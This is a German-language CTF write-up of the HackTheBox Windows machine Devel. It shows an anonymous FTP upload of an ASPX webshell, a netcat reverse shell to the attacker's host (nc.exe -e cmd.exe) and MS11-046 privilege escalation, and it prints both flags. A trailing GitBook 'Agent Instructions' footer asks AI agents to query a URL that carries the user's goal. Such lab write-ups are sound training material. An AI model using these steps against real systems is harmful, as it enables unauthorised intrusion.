> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Devel HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Devel mit Abdeckung von anonymem FTP, einer ASPX-Webshell, Reverse-Shell-Zugriff und MS11-046-Privilegieneskalation.

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Anonymer FTP-Zugriff
* ASPX-Webshell-Upload
* Kernel-Privilegieneskalation MS11-046
  {% endhint %}

## Aufklärung

### Arbeitsbereich einrichten

```bash
mkdir Devel
cd !$
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fz4iVahH4VYBfXbpV8eHs%2Fimage.png?alt=media&amp;token=a0ae84a0-2772-45f3-8c0b-915d86d1c057" alt=""><figcaption></figcaption></figure>

### Host-Erkennung

Eine TTL von 128 deutet darauf hin, dass das Ziel wahrscheinlich Windows ausführt.

```bash
ping -c 1 10.129.5.142
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfXtFculfyTC1h4UN9HA9%2Fimage.png?alt=media&amp;token=4af6e93c-5436-4184-8b0d-487b28fd194f" alt=""><figcaption></figcaption></figure>

### Port-Scanning

Führe einen vollständigen TCP-Scan durch, um offene Ports zu identifizieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts
```

Die Ports 21 und 80 sind offen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL9aMeD30tufPJMkutCoR%2Fimage.png?alt=media&amp;token=f15d4e20-1b15-4712-80cc-6657ab1b8033" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLReN6LQqxDeBnqvUTCDb%2Fimage.png?alt=media&amp;token=de6c1850-fb65-4901-8f72-b62cbc97cc2f" alt=""><figcaption></figcaption></figure>

Führe einen gezielten Scan durch, um die freigegebenen Dienste zu identifizieren:

```bash
nmap -sCV -p80,21 10.129.5.142 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fmnij8THATjZ8g4ZjxIQn%2Fimage.png?alt=media&amp;token=ffff96b7-0056-4268-b883-d0469fd24cb6" alt=""><figcaption></figcaption></figure>

## Erstzugriff

### Anonymer FTP-Zugriff

FTP akzeptiert anonyme Authentifizierung und verweist auf den Webserver auf Port 80.

Liste das FTP-Verzeichnis nach der Authentifizierung auf:

```bash
ftp anonymous@10.129.5.142
ls
```

Das Verzeichnis enthält `aspnet_client`, `iisstart.htm`, und `welcome.png`. Dies sind standardmäßige IIS-Web-Root-Dateien.

Der Webserver zeigt das Standard- `welcome.png` Bild.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqJOibaMxPs58pwHfT6W6%2Fimage.png?alt=media&amp;token=fdf8d49e-bd00-4535-b1d3-abac5fe3578c" alt=""><figcaption></figcaption></figure>

Erstelle lokal eine Testdatei und lade sie hoch, um Schreibrechte zu überprüfen:

```bash
echo test > test.txt
put test.txt
```

Der Upload war erfolgreich. Der Zugriff auf `http://10.129.5.142/test.txt` bestätigt, dass FTP-Uploads von IIS bereitgestellt werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FyYBBE2RzFrpPEW7py7bQ%2Fimage.png?alt=media&amp;token=f607ee4a-13a9-498c-b732-3f4c59ebce47" alt=""><figcaption></figcaption></figure>

### ASPX-Webshell

{% embed url="<https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx>" %}

Lade die ASPX-Webshell herunter:

```bash
wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx
```

Lade sie per FTP hoch:

```bash
put aspx_cmd.aspx
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FE9ttWludWFC2tkuznGAG%2Fimage.png?alt=media&amp;token=3776dbaf-0a57-479a-8a8e-db5d987ae7b5" alt=""><figcaption></figcaption></figure>

Öffnen `http://10.129.5.142/aspx_cmd.aspx` um Befehle auszuführen.

Die Webshell ermöglicht die Ausführung von Remote-Befehlen:

```bash
whoami

iis apppool\web
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdFKOfuuwj2TPzyodcVbk%2Fimage.png?alt=media&amp;token=40a46aec-a3cd-4c0a-984d-ec62a3e1cdb5" alt=""><figcaption></figcaption></figure>

### Reverse Shell

Kopiere `nc.exe` in das aktuelle Verzeichnis. Diese Binärdatei erstellt die interaktive Windows-Shell:

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

Starte einen SMB-Server, um die ausführbare Datei freizugeben:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwaC1kzpy1cpgeD5XVZGM%2Fimage.png?alt=media&amp;token=645c4df5-b8a4-49ce-adca-36edc0d36343" alt=""><figcaption></figcaption></figure>

Starte einen Listener auf Port 4444:

```bash
sudo rlwrap nc -nvlp 4444
```

Führe diese Befehle über die Webshell aus. Der erste Befehl kopiert Netcat aus der SMB-Freigabe. Der zweite stellt die Verbindung zum Listener her:

```bash
copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe
C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fv0OkM4vxZC9YIafJ59ij%2Fimage.png?alt=media&amp;token=60555128-ac81-4ea7-bd7a-2a4c744d830c" alt=""><figcaption></figcaption></figure>

Die Shell läuft als `iis apppool\web`. Dieses Konto hat eingeschränkte Rechte.

## Privilegieneskalation

### Systeminformationen

```bash
systeminfo
```

Dies offenbart die Windows-Version und Systemdetails.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJtacSqDEVkpf5IvAYqm%2Fimage.png?alt=media&amp;token=41d0b418-17d5-46ae-bd4a-42960041c6da" alt=""><figcaption></figcaption></figure>

Das Ziel läuft mit Windows 7 Enterprise.

### MS11-046

`systeminfo` identifiziert Windows 7 Enterprise, Build `7600`. Diese ungepatchte Version ist ein Kandidat für bekannte lokale Kernel-Exploits.

MS11-046 ist eine lokale Vulnerability zur Privilegieneskalation. Sie benötigt bereits vorhandene Codeausführung auf dem Host. Sie nutzt SMB nicht aus der Ferne aus.

Verwende den Kernel-Exploit MS11-046:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

Klone das Exploit-Repository:

```bash
git clone https://github.com/SecWiki/windows-kernel-exploits
```

Wechsle in das Exploit-Verzeichnis:

```bash
cd windows-kernel-exploits/MS11-046
```

Gib die ausführbare Datei per SMB für das Ziel frei:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFKGLOspF5XXbVzNS0nhu%2Fimage.png?alt=media&amp;token=ed0e4934-9446-4a37-a0b9-4f63a8d7b978" alt=""><figcaption></figcaption></figure>

Kopiere die ausführbare Datei aus der Windows-Shell in ein beschreibbares Verzeichnis:

```bash
copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTFuvckB7zhHI6lzyPBiU%2Fimage.png?alt=media&amp;token=1526dd9f-ca48-4372-8029-091686284ad9" alt=""><figcaption></figcaption></figure>

Bestätige den aktuellen Benutzer und führe dann den Exploit aus:

```bash
whoami

iis apppool\web
```

```bash
.\ms11-046.exe
```

Der Exploit liefert eine `NT AUTHORITY\SYSTEM` Shell:

```bash
whoami

nt authority\system
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5wMT6aqI3cn98l3oUXLQ%2Fimage.png?alt=media&amp;token=47d2555d-209e-46ed-8f87-f4f94ff750ff" alt=""><figcaption></figcaption></figure>

## Flags

```bash
type c:\Users\babis\Desktop\user.txt

0efea4c5e140c594ce1ca88594b3d7dc

type c:\Users\Administrator\Desktop\root.txt

3d360ef3c74b5936a51971a8f7383c11
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYohn6XMprPHG4De7A8L7%2Fimage.png?alt=media&amp;token=d6d20faf-f996-41ae-b13c-da2055f3f5ea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
